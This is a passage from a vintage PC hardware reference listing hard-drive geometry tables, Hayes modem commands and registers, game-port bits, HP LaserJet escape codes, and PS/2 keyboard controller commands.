NEC 5126   612   4
NEC 5146   615   8
Newberry Penny 340   615   8
Northgate Turbo   42   809   6   36   STnn, RLL, Voice coil
Plus Hardcard 40   42   612   4   40   STnn, RLL, Voice coil
Priam ID45ATD2   42   1166   5   20   STnn, MFM, Voice coil
Priam ID130   130   1224   STnn
Priam ID40   987   5
Priam ID60   987   7
Priam V130   987   3   STnn
Priam V185   1166   7
Priam 638   382u   15   18   ESDI, 5¬
Priam 676   765u   15   14   ESDI, 5¬
Priam 738   382u   15   18   SCSI, 5¬
Priam 776   765u   15   14   SCSI, 5¬
Quadram Q520   512   4
Quadram Q530   512   6
Quadram Q540   512   8
Rodime RO101   192   2
Rodime RO102   192   4
Rodime RO103   192   6
Rodime RO104   192   8
Rodime RO201   320   2
Rodime RO202   320   4
Rodime RO203   320   6
Rodime RO204   320   8
Rodime RO201E   640   2
Rodime RO202E   640   4
Rodime RO203E   33   640   6
Rodime RO204E   640   8
Rodime RO252   10   306   4
Rodime RO352   10   306   4
Rodime RO3055   45   872   7   STnn, MFM, Voice coil
RMS 503   153   2
RMS 506   153   4
RMS 512   153   8
Seagate ST125   21   615   4   28   STnn, MFM, Band stepper
Seagate ST125N   22   407   4   SCSI, RLL, Band stepper
Seagate ST138   32   615   6   28   STnn, MFM, 3« Band stepper
Seagate ST138N   31   615   4   28   SCSI, RLL, Band stepper
Seagate ST138R   33   615   4   28   STnn, RLL, Band stepper
Seagate ST151   43   977   5   STnn, MFM, Voice Coil
Seagate ST157A   49   560   6   28   IDE, 3«
Seagate ST157N   49   615   6   28   SCSI, 3« RLL, Band stepper
Seagate ST157R   49   615   6   28   STnn, 3« RLL, Voice Coil

Seagate ST177N 61 921 5 SCSI, RLL, Voice Coil
Seagate ST206 306 2 STnn, MFM, Band stepper
Seagate ST213 11 615 2 STnn, MFM, Band stepper
Seagate ST225 21 615 4 65 STnn, MFM, 5¬ Band stepper
Seagate ST225N 21 615 4 65 SCSI, MFM, 5¬ Band stepper
Seagate ST225R 21 667 2 STnn, RLL, 5¬ Band stepper
Seagate ST238R 31 615 4 65 STnn, RLL, Band Stepper
Seagate ST250R 42 667 4 STnn, RLL, Band stepper
Seagate ST251 42 820 6 40 STnn, MFM, 5¬ Band stepper
Seagate ST251-1 43 820 6 28 STnn, MFM, 5¬ Band stepper
Seagate ST251N0 43 820 4 40 SCSI, RLL, 5¬ Band stepper
Seagate ST251N1 43 630 4 SCSI, RLL, 5¬ Band stepper
Seagate ST251R 43 820 6 40 STnn, RLL, 5¬ Band stepper
Seagate ST277 66 820 6 STnn, MFM, 5¬ Band stepper
Seagate ST277N0 65 820 6 40 SCSI, RLL, 5¬ Band stepper
Seagate ST277N1 65 628 6 SCSI, RLL, 5¬ Band stepper
Seagate ST277R 65 820 6 40 STnn, RLL, 5¬ Band stepper
Seagate ST280A 72 29 IDE, 5¬
Seagate ST296N 85 820 6 28 SCSI, RLL, 5¬ Band stepper
Seagate ST406 5 306 2 STnn, MFM, Band stepper
Seagate ST412 10 306 4 STnn, MFM, FH Band stepper
Seagate ST419 15 306 6 STnn, MFM, Band stepper
Seagate ST425 20 306 8 STnn, MFM, Band stepper
Seagate ST506 5 153 4 STnn, MFM, FH Band stepper
Seagate ST1096N 84 906 7 SCSI, RLL, Voice coil
Seagate ST1102A 89 29 IDE, 3«
Seagate ST1144 125 19 IDE, 3«
Seagate ST1239 211 15 IDE, 3«
Seagate ST4026 21 615 4 STnn, MFM, Voice coil
Seagate ST4038 32 733 5 40 STnn, MFM, FH Voice coil
Seagate ST4051 43 977 5 40 STnn, MFM, Voice coil
Seagate ST4053 44 1024 5 28 STnn, MFM, Voice coil
Seagate ST4077R 65 1024 5 28 STnn, MFM, Voice coil
Seagate ST4096 80 1024 9 28 STnn, MFM, FH Voice coil
Seagate ST4144R 122 1024 9 28 STnn, RLL, FH Voice coil
Shugart SA 604 160 4
Shugart SA 606 160 6
Shugart SA 612 306 4
Shugart SA 712 320 4
SPC Scorecard 44 44 753 7 STnn, MFM, Voice coil
Syquest SQ306RD 306 2
Syquest SQ312RD 615 2
Syquest SQ325F 612 4
Syquest SQ338F 612 6
Tandon TM252 10 306 4
Tandon TM262 20 615 4
Tandon TAN501 306 2
Tandon TAN502 306 4
Tandon TAN503 306 6
Tandon TM602S 153 4
Tandon TM603S 153 6
Tandon TM603SE 230 6
Tandon TM702AT 615 4
Tandon TM703 695 5
Tandon TM703AT 733 5
Tandon TM755 981 5
Tandy SCSI 80 823 6 28 SCSI, RLL, Band stepper
Toshiba MK53F 830 5
Toshiba MK54F 49 830 7 25 STnn, MFM, 3« Voice coil
Toshiba MK56F 72 830 10 25
Toshiba MK134FA 733 7 25 STnn
Toshiba MK358FA 765u 15 16 ESDI, FH
Toshiba MK358FB 765u 15 16 SCSI, FH

```
    Tulin 226                  640   4
    Tulin 240                  640   6
    Tulin 326                    20    640   4
    Tulin 340                    30    640   6
    WD93024A               21.6                    28   STnn, MFM, 3« Band stepper
    WD93024X             21.6                      39   STnn, MFM, 3« Band stepper
    WD93028A             21.6                      69   STnn, MFM, 3« Band stepper
    WD93028X             21.6                      70   STnn, MFM, 3« Band stepper
    WD93034X             32.4                      39   STnn, MFM, 3« Band stepper
    WD93038X                   32.4                      70   STnn, MFM, 3« Band
stepper
    WD93044A             43.2                      28   STnn, MFM, 3« Band stepper
    WD93044X             43.2                      39   STnn, MFM, 3« Band stepper
    WD93048A             43.2                      69   STnn, MFM, 3« Band stepper
    WD93048X             43.2                      70   STnn, MFM, 3« Band stepper
    WD95024A               20                      28   STnn, MFM, 5¬ Band stepper

    WD95028AD              20                      69   STnn, MFM, 5¬ Band stepper

    WD95028X               20                      70   STnn, MFM, 5¬ Band stepper

    WD95038X               30                      70   STnn, MFM, 5¬ Band stepper

    WD95044A               40                      28   STnn, MFM, 5¬ Band stepper

    WD95048AD              40                      69   STnn, MFM, 5¬ Band stepper

    WD95048X               40                      70   STnn, MFM, 5¬ Band stepper
    WDAC140              42.5                      19   STnn, MFM, 3« Voice coil
    WDAC280              85.1                      19   STnn, MFM, 3« Voice coil
    WDSC320               320                             SCSI, 3«
    WDSC8320              320                             SCSI, 3«
```

- STnn indicates Seagate ST412/ST506 compatible
- 3« indicates 3.5 inch half height drive
- 5¬ indicates 5.25 inch half height drive
- FH indicates Full Height 5.25 inch drive
- 'u' in filesize indicates unformatted spec
- formatted capacity is related to BIOS and may vary with different BIOS and OEM versions
- read/write heads should normally never touch hard disk media
- standard AT hard disk controllers do not use DMA for disk I/O due to the slow speed of the 8 Bit DMA chips used; Port I/O is used instead for an actual increase in performance
- with some XT and ESDI systems it is necessary to use debug to execute the ROM disk format code; The usual method is to set AH=Drive, AL=Interleave and jump to the code at C800:5 via the G =C800:5 command (some systems locate this code at C600:5, CA00:5 and CC00:5)
- DOS version and disk size determine cluster size;   DOS 2.x always has cluster size of 8K, while DOS 3.x+ has variable cluster sizes:

```
          2 - 16  Mb partitions have a cluster size of 8K
         16 - 128 Mb partitions have a cluster size of 2K
        128 - 256 Mb partitions have a cluster size of 4K
        256 - 512 Mb partitions have a cluster size of 8K
```

:Hayes modem info:modem commands
^Hayes Command Set / Register Formats

```
      +++    standard escape sequence (see S2 below)
      Comma  standard pause character (see S8 below)
```

```
      AT     standard attention sequence

      ATA    force immediate answer
      ATC0   transmitter off
      ATC1   transmitter on

      ATD    dial (ATD number)
      ATDP   pulse dial (ATDP number)
      ATDT   tone dial (ATDT number)

      ATE0   disable local character echo
      ATE1   enable local character echo
      ATF0   Half Duplex (modem echoes characters)
      ATF1   Full Duplex (modem does not echo characters)

      ATH0   force line on hook
      ATH1   force line off hook
      ATH2   force line special off hook (used for HAM radio)

      ATI0   request product code, formatted PPR, PP=prod., R=rev.
      ATI1   request ROM check sum

      ATL1   speaker volume low  (modem specific)
      ATL2   speaker volume medium  (modem specific)
      ATL3   speaker volume high  (modem specific)
      ATM0   speaker always off
      ATM1   speaker on except while carrier present
      ATM2   speaker always on
      ATM3   speaker on except while dialing and carrier present

      ATO    force modem into on-line state
      ATP    sets modem to default pulse dial

      ATQ0   modem returns result codes
      ATQ1   modem does not return result codes

      ATR    sets modem to answer mode after dialing out
      ATSn   where Sn is S register number 'n' (see registers below)
      ATT    sets modem to default tone dial

      ATV0   send numeric codes
      ATV1   send word result codes

      ATX0   basic result code set "CONNECT", no dial tone detect
      ATX1   extended result code set "CONNECT 1200", no dialtone detect
      ATX2   wait for dial tone, extended result codes
      ATX3   detect busy signal, extended result codes
      ATX4   wait for dial tone, detect busy, extended result codes

      ATZ    reset to power up condition

^Hayes 2400 Compatible Modem Commands

      ATB0  CCITT V.22 at 1200 bps
      ATB1  BELL 212A at 1200 bps

      AT&C  DCD always on
      AT&C1 DCD on while carrier present

      AT&D  DTR ignored
      AT&D1 DTR fail disconnect enabled
      AT&D2 DTR fail disconnect enabled (auto answer off)
      AT&D3 DTR fail disconnect enabled (reset modem)
```

```
AT&F  restore to factory configuration

AT&G  no guard tone
AT&G1 550 Hz guard tone
AT&G2 1800 Hz guard tone

AT&J  RJ11/RJ41S/RJ45 jack
AT&J2 RJ12/RJ13 jack

AT&L  regular phone line
AT&L1 leased line

AT&M  async operation
AT&M1 async/sync operation
AT&M2 sync auto dial
AT&M3 sync manual dial

AT&P  39/61 pulse make/break ratio
AT&P1 33/67 pulse make/break ratio

AT&T4 grant RDL test request
AT&T5 deny RDL test request

AT&W  write current registers to non-volatile memory

AT&X  sync clock internal

AT&X1 sync clock external
AT&X2 sync clock slaved

AT&Z  store dial command line
```

^Hayes Compatible Modem Registers

Not all modems support all of these registers and some modems have registers other than those listed here. Also note, some are read only.

```
to set a register use:        AT Sr=##  (cr)
to read the register:         AT Sr?       (cr)
```

Where "r" is the register and (cr) is a carriage return

% The following represent conventions used in the tables below:

() indicates defaults for Smartmodem 1200
** indicates possible inconsistencies across modems

```
%     Reg  Values    Register function

      S0   0-255    ring to answer on (0=don't answer)
      S1   0-255    ring count (clear after 8 sec) (read only)
      S2   0-255    escape char, normally "+", 128-255 disable escape
      S3   0-127    end of line character (0x0D/CR)
      S4   0-127    line feed character (0x0A/LF)
      S5   0-32,127 backspace character (0x08/BS)
      S6   2-255    pause before dialing in seconds (2)
      S7   1-255    wait for carrier in seconds (30)
      S8   0-255    pause for comma in dial string in seconds (2)
      S9   1-255    carrier detect response time in 1/10 second (6)
      S10  1-255    carrier loss delay in 1/10 second, 255=ignore CD (7)
```

```
       S11 50-255    touch tone dial speed, in milliseconds (70)
       S12 20-255    escape guard time, in 1/50 second,0=no delay (50)

       ³7³6³5³4³3³2³1³0³  S13   power up async data format
        ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ unused
        ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ result code, 0=basic, 1=extended
        ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ parity, 0=disabled, 1=enabled
        ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ parity, 0=odd ,1=even
        ³ ³ ³ ÀÄÄÄÄÄÄÄÄ data bits, 0=7 bits, 1=8 bits
        ³ ³ ÀÄÄÄÄÄÄÄÄÄ undefined
        ³ ÀÄÄÄÄÄÄÄÄÄÄ buffer ovfw flag, 0=disabled,1=enabled
        ÀÄÄÄÄÄÄÄÄÄÄÄ 8th bit, 0=space,1=mark (8 bit only)

       ³7³6³5³4³3³2³1³0³  S14   option register status data format
        ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ unused **
        ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ local echo, 0=disabled, 1=enabled
        ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ result codes, 0=enabled,1=disabled
        ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ result codes, 0=numeric,1=word
        ³ ³ ³ ÀÄÄÄÄÄÄÄÄ command recognition, 0=enable,1=disable
        ³ ³ ÀÄÄÄÄÄÄÄÄÄ dial method, 0=touch tone, 1=pulse
        ³ ÀÄÄÄÄÄÄÄÄÄÄ unused **
        ÀÄÄÄÄÄÄÄÄÄÄÄ 0=answer, 1=originate **

       S15         flag register **

       ³7³6³5³4³3³2³1³0³  S16   test status
        ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ analog loop, 0=inactive, 1=active
        ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ unused
        ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ digital loop, 0=inactive, 1=active
        ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ remote req digital loop,0=inact.,1=active
        ³ ³ ³ ÀÄÄÄÄÄÄÄÄ remote digital loop,0=inact.,1=active
        ³ ³ ÀÄÄÄÄÄÄÄÄÄ self test RDL, 0=inactive, 1=active
        ³ ÀÄÄÄÄÄÄÄÄÄÄ self test analog loop,0=inactive,1=active
        ÀÄÄÄÄÄÄÄÄÄÄÄ unused

       S18 0-255     remote test timer in seconds

       ³7³6³5³4³3³2³1³0³  S21   option status
        ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ jack type, 0=RJ11,RJ41,RJ45,1=RJ12,RJ13
        ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ unused
        ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ CTS state,  0=follows RTS, 1=forced on
        ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄ DTR modem behavior (see below)
        ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ DCD, 0=forced on, 1=follows carrier
        ³ ÀÄÄÄÄÄÄÄÄÄÄÄ DSR, 0=forced on, 1=behaves normally
        ÀÄÄÄÄÄÄÄÄÄÄÄÄ long space disconnect,0=disabled,1=enabled

%      Bits
%       43  DTR Modem Behavior Bits
        00  ignore DTR
        01  assume command state when DTR drops
        10  assume command state and disable auto-answer when DTR drops
        11  reset when DTR drops


       ³7³6³5³4³3³2³1³0³  S22   option status
        ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄ speaker volume, 01=low,10=med,11=high
        ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄ speaker setting (see below)
        ³ ÀÄÁÄÁÄÄÄÄÄÄÄÄÄÄ X command in effect
        ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ make/break ratio, 0=39/61, 1=33/67

%      Bits
%       32  S22 Speaker Setting
        00  speaker always off
```

```
        01  speaker on until carrier detected
        10  speaker always on
        11  speaker off during dialing, then on until CD

%      Bits
%      654  S22 X Command in Effect
       100  X1 command in effect
       101  X2 command in effect
       110  X3 command in effect
       111  X4 command in effect


       ³7³6³5³4³3³2³1³0³  S23   option status
        ³  ³  ³  ³  ³  ³  ³ ÀÄÄÄÄ remote dig.loop request,0=denied,1=ok
        ³  ³  ³  ³  ³ ÀÄÄÁÄÄÄÄÄ baud rate (see table)
        ³  ³  ³  ³ ÀÄÄÄÄÄÄÄÄÄ unused
        ³  ³ ÀÄÄÁÄÄÄÄÄÄÄÄÄÄÄ parity (see table)
        ÀÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄ guard tone setting

%      Bits
%       21  S23 Baud Rate Table
        00  0-300 bps
        01  600 bps
        10  1200 bps
        11  2400 bps

%      Bits
%       54  S23 Parity Setting
        00  even parity
        01  parity bit always 0
        10  odd parity
        11  parity bit always 1

%      Bits
%       76  S23 Guard Tone Setting
        00  no guard tones
        01  550 hz guard tone
        10  1800 hz guard tone

       S25 0-255     DTR detect delay in seconds (5)
       S26 0-255     RTS to CTS delay in milliseconds (1)

       ³7³6³5³4³3³2³1³0³  S27   option status
        ³  ³  ³  ³  ³  ³ ÀÄÄÁÄÄÄÄ synch/async mode (see table)
        ³  ³  ³  ³  ³ ÀÄÄÄÄÄÄÄÄ phone line, 0= public, 1=leased
        ³  ³  ³  ³ ÀÄÄÄÄÄÄÄÄÄ unused
        ³  ³ ÀÄÄÁÄÄÄÄÄÄÄÄÄÄÄ clock type (see table)
        ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄ protocol, 0=CCITT V.22, 1=Bell 212A
        ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄ unused

%      Bits
%       10  S27 Sync/Async mode
        00  asynchronous mode
        01  async/sync mode
        10  sync auto-dial
        11  sync manual dial

%      Bits
%       45  S27 Clock Type
        00  internal clock used
        01  external clock used
        10  slaved clock used
:game port:joystick
```

```
^Joystick / Game Port (201h)

      ³7³6³5³4³3³2³1³0³  Port at 201h used with Joysticks
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ joystick a, x coord (0 = timing active)
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ joystick a, y coord (0 = timing active)
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ joystick b, x coord (0 = timing active)
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ joystick b, y coord (0 = timing active)
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄ joystick a, button 1 (0=pressed)
       ³ ³ ÀÄÄÄÄÄÄÄÄÄ joystick a, button 2 (0=pressed)
       ³ ÀÄÄÄÄÄÄÄÄÄÄ joystick b, button 1 (0=pressed)
       ÀÄÄÄÄÄÄÄÄÄÄÄ joystick b, button 2 (0=pressed)

      ³7³6³5³4³3³2³1³0³  Port at 201h used with Paddles
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ paddle a coord (0 = timing active)
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ paddle b coord (0 = timing active)
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ paddle c coord (0 = timing active)
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ paddle d coord (0 = timing active)
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄ paddle a, button (0=pressed)
       ³ ³ ÀÄÄÄÄÄÄÄÄÄ paddle b, button (0=pressed)
       ³ ÀÄÄÄÄÄÄÄÄÄÄ paddle c, button (0=pressed)
       ÀÄÄÄÄÄÄÄÄÄÄÄ paddle d, button (0=pressed)


      - accessed through port 201h
      - bits 3-0 are resistive inputs with the length of the pulse
        determined by 0-100K ohm resistive load.   Use this formula:

%     time = 24.2æ + ( 0.011æ * resistance )
      or
%     resistance = ( time - 24.2 ) / 0.011


      - a read should be immediately preceded by a write (any data)
        to start timing for the resistive values.
:Laserjet:HP Laserjet
^Hewlett Packard Laserjet Printer Control Codes

%     Printer Control and Orientation
      ESC E       Reset printer
      ESC z       Self Test
      ESC &l0O    Portrait orientation
      ESC &l1O    Landscape orientation
      ESC (s0P    Select fixed space font
      ESC (s1P    Select proportional font
      ESC (s0S    Set upright character orientation
      ESC (s1S    Set Italic character orientation
      ESC &l#X    Select '#' number of copies
      ESC &l0H    Eject page
      ESC &l1H    Feed paper from tray
      ESC &l2H    Feed paper manually
      ESC &l3H    Feed envelope
      ESC &l0T    Default stacking position
      ESC &l1T    Togglestacking position

%     8 Bit Symbol Set Selection
      ESC (8U     Select Roman 8 symbol set
      ESC (8K     Select Kana 8 symbol set
      ESC (8M     Select Math 8 symbol set

%     7 Bit Symbol Set Selection
      ESC (0U     Select USASCII symbol set
      ESC (0B     Select Line Draw symbol set
      ESC (0A     Select Math symbol set
```

```
      ESC (0M     Select Math 7 symbol set
      ESC (0Q     Select Math 8a symbol set
      ESC (1Q     Select Math 8b symbol set
      ESC (1U     Select US Legal symbol set
      ESC (0E     Select Roman Extension symbol set
      ESC (0D     Select ISO Denmark/Norway symbol set
      ESC (1E     Select ISO United Kingdom symbol set
      ESC (0F     Select ISO France symbol set
      ESC (0G     Select ISO German symbol set
      ESC (0I     Select ISO Italy symbol set
      ESC (0S     Select ISO Sweden/Finland symbol set
      ESC (1S     Select ISO Spain symbol set
      ESC (15U    Select PiFont symbol set
      ESC (2Q     Select PiFonta symbol set

%     Font Management
      ESC (s3T     Select Courier font
      ESC (s0T     Select Line Printer font
      ESC (s1T     Select Pica font
      ESC (s2T     Select Elite font
      ESC (s4T     Select Helvetica font
      ESC (s5T     Select Times Roman (TMS RMN) font
      ESC (s6T     Select Gothic font
      ESC (s7T     Select Script font
      ESC (s8T     Select Prestige font
      ESC *c#D     Specify font ID '#'
      ESC *c#E     Specify character code '#'
      ESC *c0F     Delete all fonts, including permanent
      ESC *c1F     Delete all temporary fonts
      ESC *c2F     Delete last font ID specified
      ESC *c3F     Delete last character code and font ID specified
      ESC *c4F     Make last font ID temporary
      ESC *c5F     Make last font ID permanent
      ESC *c6F     Copy or assign last font ID specified
      ESC *c7F     Reestablish ROM
      ESC *c8F     Set primary font
      ESC *c9F     Set secondary font
      ESC *c10F    Set primary and secondary font default
      ESC )s#W <data>  Create font header
      ESC (s#W <data>  Download character
      ESC (#X <data>     Designate downloaded font as primary
      ESC )#X <data>     Designate downloaded font as secondary
      ESC (#@      Primary font default (see printer manual)
      ESC )#@      Secondary font default(see printer manual)

%     Pitch and Point Selection
      ESC (s10H   Set 10 pitch
      ESC (s12H   Set 12 pitch
      ESC (s16.6H Set 16.66 pitch

      ESC (s7V    Set point size to 7
      ESC (s8V    Set point size to 8
      ESC (s8.5V  Set point size to 8.5
      ESC (s10V   Set point size to 10
      ESC (s12V   Set point size to 12
      ESC (s14.4V Set point size to 14.4

%     Page Dimensions
      ESC &l#P    Set page length to '#' lines
      ESC &l#E    Set top margin to '#' lines
      ESC &l#F    Set text length to '#' lines
      ESC 9       Clear margins
      ESC &a#L    Set left margin to column '#'
```

```
        ESC &a#M    Set right margin to column '#'
        ESC &l#C    Set vertical motion index to '#' 1/48" increments
        ESC &l#D    Set lines per inch to '#', valid values are:
                    1, 2, 3, 4, 6, 8, 12, 16 or 24
        ESC &k#H    Set horizontal motion index where # is derived
                    using # = (120.0 / cpi)     (1/10 precision)

%       Cursor Positioning
        ESC &a#R    Move to row '#'
        ESC &a#C    Move to col '#'
        ESC &a#H    Move to horizontal position '#' in decipoints
        ESC &a#V    Move to vertical position '#' in decipoints
        ESC *p#X    Move to horizontal position '#' in dots
        ESC *p#Y    Move to vertical position '#' in dots
        ESC &f0S    Push cursor position
        ESC &f1     Pop cursor position

%       Raster Graphics
        ESC *t75R     Select 75 dots per inch graphics mode
        ESC *t100R    Select 100 dots per inch graphics mode
        ESC *t150R    Select 150 dots per inch graphics mode
        ESC *t300R    Select 300 dots per inch graphics mode
        ESC *r0A      Start graphics at left most position
        ESC *r1A      Start graphics at current cursor
        ESC *b#W <data>   Transfer '#' byte raster image as stream "<data>"
        ESC *rB       End graphics

%       Advanced Graphics
        ESC *c#A      Set horizontal rule/pattern size in dots
        ESC *c#H      Set horizontal rule/pattern size in decipoints
        ESC *c#B      Set vertical rule/pattern size in dots
        ESC *c#V      Set vertical rule/pattern size in decipoints
        ESC *c0P      Select black rule
        ESC *c2P      Select gray scale pattern
        ESC *c3P      Select HP-Defined pattern
        ESC *c#G      Set grey scale pattern, where # is a value between
                      [0..6] for HP defined patterns and [0..100] to
                      specify percentage gray scaling.  The mode depends
                      on the rule/pattern selected using ESC *c?P
        ESC *c1G      Vertical lines pattern
        ESC *c2G      Horizontal lines pattern
        ESC *c3G      Diagonal lines pattern (upward left to right)
        ESC *c4G      Diagonal lines pattern (downward left to right)
        ESC *c5G      Horizontal/vertical grid lines pattern
        ESC *c6G      Diagonal grid pattern
        ESC *c#G      Set gray scaling to '#' percent

%       Macro commands
        ESC &f#Y      Identify macro as ID "#'
        ESC &f0X      Start macro definition
        ESC &f1X      Stop macro definition
        ESC &f2X      Execute macro
        ESC &f3X      Call macro
        ESC &f4X      Enable auto macro overlay
        ESC &f5X      Disable auto macro overlay
        ESC &f6X      Delete all macros
        ESC &f7X      Delete all temporary macros
        ESC &f8X      Delete macro ID
        ESC &f9X      Make macro temporary
        ESC &f10X     Make macro permanent

%       Miscellaneous
        ESC (s#B      Set stroke weight '#'=(7..-7), 7=bold, -7=light
```

```
      ESC &dD       Set underline on
      ESC &d@       Set underline off
      ESC =         Half line feed
      ESC Y         Turn display functions mode on
      ESC Z         Turn display functions mode off (default)
      ESC &p#X <data>   Disable command interpretation for the '#' bytes
                    following this command
      ESC &l0L      Disable perforation skip
      ESC &l1L      Enable perforation skip
      ESC &k0G      Set line terminators to CR=CR, LF=LF, FF=FF
      ESC &k1G      Set line terminators to CR=CR+LF, LF=LF, FF=FF
      ESC &k2G      Set line terminators to CR=CR, LF=CR+LF, FF=CR+FF
      ESC &k3G      Set line terminators to CR=CR+LF, LF=CR+LF, FF=CR+FF
      ESC &s0C      Enable end of line wrap
      ESC &s1C      Disable end of line wrap


%     Escape sequence combination rules:

       1. The first 2 characters following the ESC must be the same.
       2. The final character in any sequence other than the last must be
          changed to lower case.
       3. The last character in the complete sequence must be changed to
          upper case.
       4. Escape sequences must be specified in the order in which they
          should be performed.


      - the space following ESC is not included in the string
:keyboard commands
^Keyboard Commands & Responses

^Commands System Issues to Keyboard (via 8042 port 60h)

      ED  Set/Reset Mode Indicators, keyboard responds with ACK then
          waits for a following option byte.   When the option byte is
          received the keyboard again ACK's and then sets the LED's
          accordingly.  Scanning is resumed if scanning was enabled.
          If another command is received instead of the option byte
          (high bit set on) this command is terminated.  Hardware
          defaults to these indicators turned off.

          ³7-3³2³1³0³ Keyboard Status Indicator Option Byte
            ³  ³ ³ ÀÄÄÄ Scroll-Lock indicator  (0=off, 1=on)
            ³  ³ ÀÄÄÄÄ Num-Lock indicator  (0=off, 1=on)
            ³  ÀÄÄÄÄÄÄ Caps-Lock indicator  (0=off, 1=on)
            ÀÄÄÄÄÄÄÄÄ reserved (must be zero)

      EE  Diagnostic Echo, keyboard echoes the EE byte back to the system
          without an acknowledgement.
      F0  PS/2 Select/Read Alternate Scan Code Sets, instructs keyboard
          to use one of the three make/break scan code sets.      Keyboard
          responds by clearing the output buffer/typematic key and then
          transmits an ACK.  The system must follow up by sending an
          option byte which will again be ACK'ed by the keyboard:

            00  return byte indicating scan code set in use
            01  select scan code set 1  (used on PC & XT)
            02  select scan code set 2
            03  select scan code set 3

      F2  PS/2 Read Keyboard ID, keyboard responds with an ACK and a two
          byte keyboard ID of 83AB.
```

F3 Set Typematic Rate/Delay, keyboard responds with ACK and waits
    for rate/delay byte.   Upon receipt of the rate/delay byte the
    keyboard responds with an ACK, then sets the new typematic
    values and scanning continues if scanning was enabled.

```
³7³6³5³4³3³2³1³0³  Typematic Rate/Delay Option Byte
 ³ ³ ³ ÃÄÅÄÅÄÄÅÄÅÄÄÄ typematic rate indicator (see ~INT 16,3~)
 ³ ³ ³ ³ ³ ÀÄÁÄÁÄÄÄ A in period formula (see below)
 ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄÄ B is period formula (see below)
 ³ ÀÄÁÄÄÄÄÄÄÄÄÄÄÄ typematic delay
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄ always zero

delay = (rate+1) * 250   (in milliseconds)
rate = (8+A) * (2**B) * 4.17  (in seconds, ñ 20%)
```

Defaults to 10.9 characters per second and a 500ms delay. If a command byte (byte with high bit set) is received instead of an option byte this command is cancelled.

F4 Enable Keyboard, cause the keyboard to clear its output buffer and last typematic key and then respond with an ACK. The keyboard then begins scanning.

F5 Default w/Disable, resets keyboard to power-on condition by clearing the output buffer, resetting typematic rate/delay, resetting last typematic key and setting default key types. The keyboard responds with an ACK and waits for the next instruction.

F6 Set Default, resets to power-on condition by clearing the output buffer, resetting typematic rate/delay and last typematic key and sets default key types. The keyboard responds with an ACK and continues scanning.

F7 PS/2 Set All Keys to Typematic, keyboard responds by sending an ACK, clearing its output buffer and setting the key type to Typematic.   Scanning continues if scanning was enabled. This command may be sent while using any Scan Code Set but only has effect when Scan Code Set 3 is in use.

F8 PS/2 Set All Keys to Make/Break, keyboard responds by sending an ACK, clearing its output buffer and setting the key type to Make/Break. Scanning continues if scanning was enabled. This command may be sent while using any Scan Code Set but only has effect when Scan Code Set 3 is in use.

F9 PS/2 Set All Keys to Make, keyboard responds by sending an ACK, clearing its output buffer and setting the key type to Make. Scanning continues if scanning was enabled. This command may be sent while using any Scan Code Set but only has effect when Scan Code Set 3 is in use.

FA PS/2 Set All Keys to Typematic Make/Break, keyboard responds by sending an ACK, clearing its output buffer and setting the key type to Typematic Make/Break. Scanning continues if scanning was enabled. This command may be sent while using any Scan Code Set but only has effect when Scan Code Set 3 is in use.

FB PS/2 Set Key Type to Typematic, keyboard responds by sending an ACK, clearing its output buffer and then waiting for the key ID (make code from Scan Code Set 3). The specified key type is then set to typematic.   This command may be sent while using any Scan Code Set but only has effect when Scan Code Set 3 is in use.

FC PS/2 Set Key Type to Make/Break, keyboard responds by sending an ACK, clearing its output buffer and then waiting for the key ID (make code from Scan Code Set 3). The specified key type is then set to Make/Break.   This command may be sent while using any Scan Code Set but only has effect when Scan Code Set 3 is in use.

FD PS/2 Set Key Type to Make, keyboard responds by sending an ACK, clearing its output buffer and then waiting for the key ID (make code from Scan Code Set 3). The specified key type is then set

```
            to Make.  This command may be sent while using any Scan Code Set
            but only has effect when Scan Code Set 3 is in use.
        FE  Resend, should be sent when a transmission error is detected
            from the keyboard
        FF  Reset, Keyboard sends ACK and waits for system to receive it
            then begins a program reset and Basic Assurance Test (BAT).
            Keyboard returns a one byte completion code then sets default
            Scan Code Set 2.
```

^Keyboard Responses to System (via 8042 port 60h)

```
        00  Key Detection Error or Overrun Error for Scan Code Set 1,
            replaces last key in the keyboard buffer if the buffer is full.
        AA  BAT Completion Code, keyboard sends this to indicate the keyboard
            test was successful.
        EE  Echo Response, response to the Echo command.
        F0  Break Code Prefix in Scan Code Sets 2 and 3.
        FA  Acknowledge, keyboard sends this whenever a valid command or
            data byte is received (except on Echo and Resend commands).
        FC  BAT Failure Code, keyboard sends this to indicate the keyboard
            test failed and stops scanning until a response or reset is sent.
        FE  Resend, keyboard request resend of data when data sent to it is
            invalid or arrives with invalid parity.
